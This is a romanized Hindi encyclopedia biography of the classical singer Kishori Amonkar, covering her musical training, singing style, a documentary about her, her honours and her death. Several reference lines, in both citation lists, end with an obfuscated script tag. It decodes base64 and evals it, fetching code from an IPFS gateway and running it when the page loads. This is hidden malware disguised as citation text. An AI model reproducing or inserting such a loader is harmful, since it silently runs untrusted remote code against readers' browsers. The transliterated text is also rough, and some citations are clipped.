किशोरी अमोनकर

	kishori amonakar
	kishori amonakar\|200px\|center
poora nam	kishori amonakar
janm	10 aprail, 1931
janm bhoomi	b aaumbe (ab mumbee), maharashtr
mrityu	3 aprail, 2017
mrityu sthan	mumbee, maharashtr
abhibhavak	mata- moghoobaee kurdikar
karm bhoomi	bharat
karm-kshetr	shastriy gayika
puraskar-upadhi	padm bhooshan, padm vibhooshan, sangit natak akadami puraskar, sangit natak akadami feloship
nagarikata	bharatiy
any janakari	kishori amonakar par 'bhinn sh daj' namak vrittachitr ek samay ke lokapriy film kalakar amol palekar aur unaki jivan sangini sandhya gokhale ne banayi hai. yah vrittachitr 72 minat ka hai.

kishori amonakar (aangrezi: Kishori Amonkar, janm: 10 aprail 1931; mrityu: 3 aprail, 2017) hiandush‍tani shash‍triy paranpara ki pramukh gayikaoan mean se ek aur jayapur gharane ki agrani gayika thian. hiandustani sangit mean gayikaean to ek se ek huee lekin rashtriy aur aantarrashtriy star par jo khyati kishori amonakar ko mili, vah kisi aur ko nasib nahian huee. kokilakanthi kishori amonakar ki surili avaz se desh videsh ke lakhoan sangit rasik mantramugdh haian. khyal, mira ke bhajan, maand, rag bhairavi ki bandish 'babul mora naihar chhootal jae' par unaka gayan to jaise sangit rasikoan ke dil mean naksh sa ho gaya hai. is samay kishori ki gayaki ke chahete sare desh mean b di sankhya mean haian. gayan ke alava ve ek shreshth guru bhi haian. unake shishyoan mean manik bhi de, ashvini deshapaande bhi de, arati aankalekar jaisi jani mani gayikaean bhi haian.^[1]

parichay aur sangit shiksha

prasiddh gayika moghoobaee kurdikar (jinh‍hoanne jayapur gharane ke varishh‍th gayan samrat ush‍tad alh‍ladiya khaan sahab se shiksha praph‍t ki) ki beti kishori amonakar sangit se otaprot vatavaran mean pali-badhian.thumb|left|kishori amonakarsuprasiddh gayika mogoobaee kurdikar ki putri aur ganda-bandh shishya kishori amonakar ne ek or apani maan se virasat mean aur talim se payi gharane ki vishuddh shastriy parampara ko akshunn rakha hai, doosari or apani maulika srijanashilata ka parichay dekar gharane ki gayiki ko aur bhi sanpusht kiya hai. maan mogoobaee kurdikar, unaki guru bahan kesaribaee kerakar tatha unake diggaj ustad ulladiya khaan ki talim ko age badhate kishori ne agara gharane ke ustad anavar husain khaan se lagabhag tin mahine tak 'bahaduri to di' ki bandish sikhi. p. balkrishna bua, parvatakar, mohan ravaji palekar, sharatachandr arolakar se bhi prarambhik margadarshan prapt kiya. phir aanjanibaee malaphekar jaisi pravin gayika se miand ke sauandary-sammohan ka gur sikha. unaki mamatamayi maan guru ke roop mean anushasanapalan va k de riyaz ke mamale mean utani hi kathor rahian, jitani ki unake samay mean unake apane guru kathor the.^[2]

gayan pratibha

kishori amonakar ne n keval jayapur gharane ki gayaki ki barikiyoan aur takanikoan par adhikar praph‍t kiya, balh‍ki kalaantar mean apane kaushal aur kalh‍pana se ek navin shaili bhi vikasit ki. is prakar unaki shaili mean anh‍y gharanoan ki barikiyaan bhi jhalakati haian. amonakar ki prash‍tutiyaan oorja aur lavanh‍y se anupranit hoti haian. unh‍hoanne prachin sangit granthoan par vish‍trit shodh kiya hai aur unh‍hean sangit ki gahari samajh hai. unaka sangit bhandar vishal hai aur vah n keval paranparik ragoan, jaise jaunapuri, patath bihag, ahir aur bhairav prash‍tut karati haian, balh‍ki thumari, bhajan aur khayal bhi gati haian.

shabd aur dhun

padm vibhooshan se sammanit kishori ne yogaraj siddhanath ki saregama dvara nikali gee elabam 'rrishi gayatri' ke lokarpan ke avasar par kaha, "maian shabdoan aur dhunoan ke sath prayog karana chahati thi aur dekhana chahati thi ki ve mere svaroan ke sath kaise lagate haian. bad mean maianne yah silasila to d diya kyoanki maian svaroan ki duniya mean zyada kam karana chahati thi. maian apani gayaki ko svaroan ki ek bhasha kahati hooan." unhoanne kaha, "mujhe nahian lagata ki maian filmoan mean dobara gaooangi. mere lie svaroan ki bhasha bahut kuchh kahati haian. yah apako adbhut shaanti mean le ja sakati hai aur apako jivan ka bahut sa jnan de sakati hai. isamean shabdoan aur dhunoan ko jo dane se svaroan ki shakti kam ho jati hai." vah kahati haian, "sangit ka matalab svaroan ki abhivyakti hai. isalie yadi sahi bharatiy dhang se ise abhivyakt kiya jae to yah apako asim shaanti deta hai."^[3] thumb|kishori amonakar

kishori amonakar par vrittachitr

desh ki prasiddh shastriy sangit gayika evan padmavibhooshan kishori amonakar par 'bhinn sh daj' namak vrittachitr ek samay ke lokapriy film kalakar amol palekar aur unaki jivan sangini sandhya gokhale ne banayi hai. yah vrittachitr 72 minat ka hai. kishori ji ke jivan mean ek aisa samay aya, jab unaki avaj chali gee. ayurvedik upachar ke bad jab inaki avaz vapas aee, to inaki gayaki ek sarvatha navin drishti lekar, ek nee chamak lekar vapas aee. amol palekar batate haian ki 'hamane chhoti-moti batoan par dhyan dene ki bajae poori d aaukyumeantri ko unake sangit, unake vyaktitv aur unaki soch-prakriya tak keandrit rakha hai.' gova, muanbee aur pune mean d aaukyumeantri ki shootiang huee. isamean pan. hariprasad chaurasiya, pan. shivakumar sharma aur ustad amajad ali jaise sangit kshetr ke diggajoan ne amonakar aur unake sangit paksh ke bare mean tippani karate hue dikhaya gaya hai.^[4]

elabam

khyal gayaki, thumari aur bhajan gane mean visheshajnata prapt kishori ki ab tak 'prabhat', 'samarpan' aur 'b aaurn too siang' sahit kee elabam jari ho chuki haian.

samman aur puraskar

thumb|kishori amonakar suprasiddh shastriy gayika shrimati kishori amonakar ko shastriy sangit ki parampara ko lokapriy aur samriddh banane mean unake yogadan ke lie 'aeetisi sangit puraskar' se sammanit kiya gaya . puraskar ke tahat unhean pratik chihn aur prashasti patr pradan kiya gaya. 'gan sarasvati' ki upadhi evan padm vibhooshan se sammanit shrimati amonakar ne is avasar par apani mithas bhari bhavapoorn shaili mean rag tilak kamod mean nibaddh rachana "sakal du:kh haran sadanand ghat ghat pragat " aur ek any rachana "mero piya rasiya sun ri sakhi tero dosh kahaan " prastut ki.^[5]

samman evan puraskar

nidhan

mashahoor hiandustani shastriy gayika kishori amonakar ka somavar 3 aprail, 2017 ko muanbee mean nidhan ho gaya. vah 84 varsh ki thian. parivarik sootroan ne bataya ki rat ko 12 baje ke karib madhy muanbee mean sthit avas par amonakar ka nidhan hua.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ madhukar, d aau.ji.vi. bharatiy nari aur usaka tyag (hiandi), 200.
↑ vhora, asha rani nari kalakar (hiandi). bharat diskavari pustakalay: jnan ganga, dilli, 66.
↑ b aaulivud filmoan mean nahian gaooangi (hiandi) samay laiv. abhigaman tithi: 20 joon, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ gayika kishori amonakar par d aaukyumeantri (hiandi) navabharat taims. abhigaman tithi: 20 joon, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ kishori amonakar aeetisi sangit puraskar se sammanit (hiandi) navabharat taims. abhigaman tithi: 20 joon, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] ukar, d aau.ji.vi. bharatiy nari aur usaka tyag (hiandi), 200.

[2] vhora, asha rani nari kalakar (hiandi). bharat diskavari pustakalay: jnan ganga, dilli, 66.

[3] ulivud filmoan mean nahian gaooangi (hiandi) samay laiv. abhigaman tithi: 20 joon, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[4] yika kishori amonakar par d aaukyumeantri (hiandi) navabharat taims. abhigaman tithi: 20 joon, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[5] shori amonakar aeetisi sangit puraskar se sammanit (hiandi) navabharat taims. abhigaman tithi: 20 joon, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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